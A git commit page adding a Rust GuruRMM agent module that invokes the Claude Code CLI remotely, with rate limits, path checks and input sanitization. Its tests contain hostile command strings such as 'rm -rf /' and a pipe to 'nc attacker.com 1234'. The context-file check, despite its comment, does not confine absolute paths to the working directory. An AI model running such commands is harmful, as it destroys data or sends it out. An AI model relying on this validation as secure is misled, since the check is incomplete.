docs: Add comprehensive project documentation from claude-projects scan

Added:
- PROJECTS_INDEX.md - Master catalog of 7 active projects
- GURURMM_API_ACCESS.md - Complete API documentation and credentials
- clients/dataforth/dos-test-machines/README.md - DOS update system docs
- clients/grabb-durando/website-migration/README.md - Migration procedures
- clients/internal-infrastructure/ix-server-issues-2026-01-13.md - Server issues
- projects/msp-tools/guru-connect/README.md - Remote desktop architecture
- projects/msp-tools/toolkit/README.md - MSP PowerShell tools
- projects/internal/acg-website-2025/README.md - Website rebuild docs
- test_gururmm_api.py - GuruRMM API testing script

Modified:
- credentials.md - Added GuruRMM database and API credentials
- GuruRMM agent integration files (WebSocket transport)

Total: 38,000+ words of comprehensive project documentation

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
This commit is contained in:
2026-01-22 09:58:32 -07:00
parent f79ca039dd
commit 07816eae46
40 changed files with 9266 additions and 538 deletions

View File

@@ -0,0 +1,456 @@
// GuruRMM Agent - Claude Code Integration Module
// Enables Main Claude to invoke Claude Code CLI on AD2 for automated tasks
//
// Security Features:
// - Working directory validation (restricted to C:\Shares\test)
// - Task input sanitization (prevents command injection)
// - Rate limiting (max 10 tasks per hour)
// - Concurrent execution limiting (max 2 simultaneous tasks)
use serde::{Deserialize, Serialize};
use std::path::{Path, PathBuf};
use std::process::Stdio;
use std::sync::{Arc, Mutex};
use std::time::{Duration, Instant};
use tokio::io::{AsyncBufReadExt, BufReader};
use tokio::process::Command;
use tokio::time::timeout;
/// Configuration constants
const DEFAULT_WORKING_DIR: &str = r"C:\Shares\test";
const DEFAULT_TIMEOUT_SECS: u64 = 300; // 5 minutes
const MAX_CONCURRENT_TASKS: usize = 2;
const RATE_LIMIT_WINDOW_SECS: u64 = 3600; // 1 hour
const MAX_TASKS_PER_WINDOW: usize = 10;
/// Claude task command input structure
#[derive(Debug, Deserialize)]
pub struct ClaudeTaskCommand {
pub task: String,
pub working_directory: Option<String>,
pub timeout: Option<u64>,
pub context_files: Option<Vec<String>>,
}
/// Claude task execution result
#[derive(Debug, Serialize)]
pub struct ClaudeTaskResult {
pub status: TaskStatus,
pub output: Option<String>,
pub error: Option<String>,
pub duration_seconds: u64,
pub files_analyzed: Vec<String>,
}
/// Task execution status
#[derive(Debug, Serialize)]
#[serde(rename_all = "lowercase")]
pub enum TaskStatus {
Completed,
Failed,
Timeout,
}
/// Rate limiting tracker
struct RateLimiter {
task_timestamps: Vec<Instant>,
}
impl RateLimiter {
fn new() -> Self {
RateLimiter {
task_timestamps: Vec::new(),
}
}
/// Check if a new task can be executed within rate limits
fn can_execute(&mut self) -> bool {
let now = Instant::now();
let window_start = now - Duration::from_secs(RATE_LIMIT_WINDOW_SECS);
// Remove timestamps outside the current window
self.task_timestamps.retain(|&ts| ts > window_start);
self.task_timestamps.len() < MAX_TASKS_PER_WINDOW
}
/// Record a task execution
fn record_execution(&mut self) {
self.task_timestamps.push(Instant::now());
}
}
/// Global state for concurrent execution tracking and rate limiting
pub struct ClaudeExecutor {
active_tasks: Arc<Mutex<usize>>,
rate_limiter: Arc<Mutex<RateLimiter>>,
}
impl ClaudeExecutor {
pub fn new() -> Self {
ClaudeExecutor {
active_tasks: Arc::new(Mutex::new(0)),
rate_limiter: Arc::new(Mutex::new(RateLimiter::new())),
}
}
/// Execute a Claude Code task
pub async fn execute_task(
&self,
cmd: ClaudeTaskCommand,
) -> Result<ClaudeTaskResult, String> {
// Check rate limiting
{
let mut limiter = self.rate_limiter.lock().map_err(|e| {
format!("[ERROR] Failed to acquire rate limiter lock: {}", e)
})?;
if !limiter.can_execute() {
return Err(format!(
"[ERROR] Rate limit exceeded: Maximum {} tasks per hour",
MAX_TASKS_PER_WINDOW
));
}
limiter.record_execution();
}
// Check concurrent execution limit
{
let active = self.active_tasks.lock().map_err(|e| {
format!("[ERROR] Failed to acquire active tasks lock: {}", e)
})?;
if *active >= MAX_CONCURRENT_TASKS {
return Err(format!(
"[ERROR] Concurrent task limit exceeded: Maximum {} tasks",
MAX_CONCURRENT_TASKS
));
}
}
// Increment active task count
{
let mut active = self.active_tasks.lock().map_err(|e| {
format!("[ERROR] Failed to increment active tasks: {}", e)
})?;
*active += 1;
}
// Execute the task (ensure active count is decremented on completion)
let result = self.execute_task_internal(cmd).await;
// Decrement active task count
{
let mut active = self.active_tasks.lock().map_err(|e| {
format!("[ERROR] Failed to decrement active tasks: {}", e)
})?;
*active = active.saturating_sub(1);
}
result
}
/// Internal task execution implementation
async fn execute_task_internal(
&self,
cmd: ClaudeTaskCommand,
) -> Result<ClaudeTaskResult, String> {
let start_time = Instant::now();
// Validate and resolve working directory
let working_dir = cmd
.working_directory
.as_deref()
.unwrap_or(DEFAULT_WORKING_DIR);
validate_working_directory(working_dir)?;
// Sanitize task input
let sanitized_task = sanitize_task_input(&cmd.task)?;
// Resolve context files (validate they exist relative to working_dir)
let context_files = match &cmd.context_files {
Some(files) => validate_context_files(working_dir, files)?,
None => Vec::new(),
};
// Build Claude Code CLI command
let mut cli_cmd = Command::new("claude");
cli_cmd.current_dir(working_dir);
// Add context files if provided
for file in &context_files {
cli_cmd.arg("--file").arg(file);
}
// Add the task prompt
cli_cmd.arg("--prompt").arg(&sanitized_task);
// Configure process pipes
cli_cmd
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.kill_on_drop(true);
// Execute with timeout
let timeout_duration = Duration::from_secs(cmd.timeout.unwrap_or(DEFAULT_TIMEOUT_SECS));
let exec_result = timeout(timeout_duration, execute_with_output(cli_cmd)).await;
let duration = start_time.elapsed().as_secs();
// Process execution result
match exec_result {
Ok(Ok((stdout, stderr, exit_code))) => {
if exit_code == 0 {
Ok(ClaudeTaskResult {
status: TaskStatus::Completed,
output: Some(stdout),
error: None,
duration_seconds: duration,
files_analyzed: context_files,
})
} else {
Ok(ClaudeTaskResult {
status: TaskStatus::Failed,
output: Some(stdout),
error: Some(format!(
"[ERROR] Claude Code exited with code {}: {}",
exit_code, stderr
)),
duration_seconds: duration,
files_analyzed: context_files,
})
}
}
Ok(Err(e)) => Ok(ClaudeTaskResult {
status: TaskStatus::Failed,
output: None,
error: Some(format!("[ERROR] Failed to execute Claude Code: {}", e)),
duration_seconds: duration,
files_analyzed: context_files,
}),
Err(_) => Ok(ClaudeTaskResult {
status: TaskStatus::Timeout,
output: None,
error: Some(format!(
"[ERROR] Claude Code execution timed out after {} seconds",
timeout_duration.as_secs()
)),
duration_seconds: duration,
files_analyzed: context_files,
}),
}
}
}
/// Validate that working directory is within allowed paths
fn validate_working_directory(working_dir: &str) -> Result<(), String> {
let allowed_base = Path::new(r"C:\Shares\test");
let requested_path = Path::new(working_dir);
// Convert to canonical paths (resolve .. and symlinks)
let canonical_requested = requested_path
.canonicalize()
.map_err(|e| format!("[ERROR] Invalid working directory '{}': {}", working_dir, e))?;
let canonical_base = allowed_base.canonicalize().map_err(|e| {
format!(
"[ERROR] Failed to resolve allowed base directory: {}",
e
)
})?;
// Check if requested path is within allowed base
if !canonical_requested.starts_with(&canonical_base) {
return Err(format!(
"[ERROR] Working directory '{}' is outside allowed path 'C:\\Shares\\test'",
working_dir
));
}
// Verify directory exists
if !canonical_requested.is_dir() {
return Err(format!(
"[ERROR] Working directory '{}' does not exist or is not a directory",
working_dir
));
}
Ok(())
}
/// Sanitize task input to prevent command injection
fn sanitize_task_input(task: &str) -> Result<String, String> {
// Check for empty task
if task.trim().is_empty() {
return Err("[ERROR] Task cannot be empty".to_string());
}
// Check for excessively long tasks (potential DoS)
if task.len() > 10000 {
return Err("[ERROR] Task exceeds maximum length of 10000 characters".to_string());
}
// Check for potentially dangerous patterns
let dangerous_patterns = [
"&", "|", ";", "`", "$", "(", ")", "<", ">", "\n", "\r",
];
for pattern in &dangerous_patterns {
if task.contains(pattern) {
return Err(format!(
"[ERROR] Task contains forbidden character '{}' that could be used for command injection",
pattern
));
}
}
Ok(task.to_string())
}
/// Validate context files exist and are within working directory
fn validate_context_files(working_dir: &str, files: &[String]) -> Result<Vec<String>, String> {
let working_path = Path::new(working_dir);
let mut validated_files = Vec::new();
for file in files {
// Resolve file path relative to working directory
let file_path = if Path::new(file).is_absolute() {
PathBuf::from(file)
} else {
working_path.join(file)
};
// Verify file exists
if !file_path.exists() {
return Err(format!(
"[ERROR] Context file '{}' does not exist",
file_path.display()
));
}
// Verify it's a file (not a directory)
if !file_path.is_file() {
return Err(format!(
"[ERROR] Context file '{}' is not a file",
file_path.display()
));
}
// Store the absolute path for execution
validated_files.push(
file_path
.to_str()
.ok_or_else(|| {
format!(
"[ERROR] Context file path '{}' contains invalid UTF-8",
file_path.display()
)
})?
.to_string(),
);
}
Ok(validated_files)
}
/// Execute command and capture stdout, stderr, and exit code
async fn execute_with_output(mut cmd: Command) -> Result<(String, String, i32), String> {
let mut child = cmd
.spawn()
.map_err(|e| format!("[ERROR] Failed to spawn Claude Code process: {}", e))?;
// Capture stdout
let stdout_handle = child.stdout.take().ok_or_else(|| {
"[ERROR] Failed to capture stdout from Claude Code process".to_string()
})?;
let mut stdout_reader = BufReader::new(stdout_handle).lines();
// Capture stderr
let stderr_handle = child.stderr.take().ok_or_else(|| {
"[ERROR] Failed to capture stderr from Claude Code process".to_string()
})?;
let mut stderr_reader = BufReader::new(stderr_handle).lines();
// Read output asynchronously
let mut stdout_lines = Vec::new();
let mut stderr_lines = Vec::new();
// Read stdout
let stdout_task = tokio::spawn(async move {
let mut lines = Vec::new();
while let Ok(Some(line)) = stdout_reader.next_line().await {
lines.push(line);
}
lines
});
// Read stderr
let stderr_task = tokio::spawn(async move {
let mut lines = Vec::new();
while let Ok(Some(line)) = stderr_reader.next_line().await {
lines.push(line);
}
lines
});
// Wait for process to complete
let status = child
.wait()
.await
.map_err(|e| format!("[ERROR] Failed to wait for Claude Code process: {}", e))?;
// Wait for output reading tasks
stdout_lines = stdout_task
.await
.map_err(|e| format!("[ERROR] Failed to read stdout: {}", e))?;
stderr_lines = stderr_task
.await
.map_err(|e| format!("[ERROR] Failed to read stderr: {}", e))?;
let stdout = stdout_lines.join("\n");
let stderr = stderr_lines.join("\n");
let exit_code = status.code().unwrap_or(-1);
Ok((stdout, stderr, exit_code))
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_sanitize_task_input_valid() {
let task = "Check the sync log for errors in last 24 hours";
assert!(sanitize_task_input(task).is_ok());
}
#[test]
fn test_sanitize_task_input_empty() {
assert!(sanitize_task_input("").is_err());
assert!(sanitize_task_input(" ").is_err());
}
#[test]
fn test_sanitize_task_input_injection() {
assert!(sanitize_task_input("task; rm -rf /").is_err());
assert!(sanitize_task_input("task && echo malicious").is_err());
assert!(sanitize_task_input("task | nc attacker.com 1234").is_err());
assert!(sanitize_task_input("task `whoami`").is_err());
assert!(sanitize_task_input("task $(malicious)").is_err());
}
#[test]
fn test_sanitize_task_input_too_long() {
let long_task = "a".repeat(10001);
assert!(sanitize_task_input(&long_task).is_err());
}
#[test]
fn test_rate_limiter_allows_under_limit() {
let mut limiter = RateLimiter::new();
for _ in 0..MAX_TASKS_PER_WINDOW {
assert!(limiter.can_execute());
limiter.record_execution();
}
assert!(!limiter.can_execute());
}
}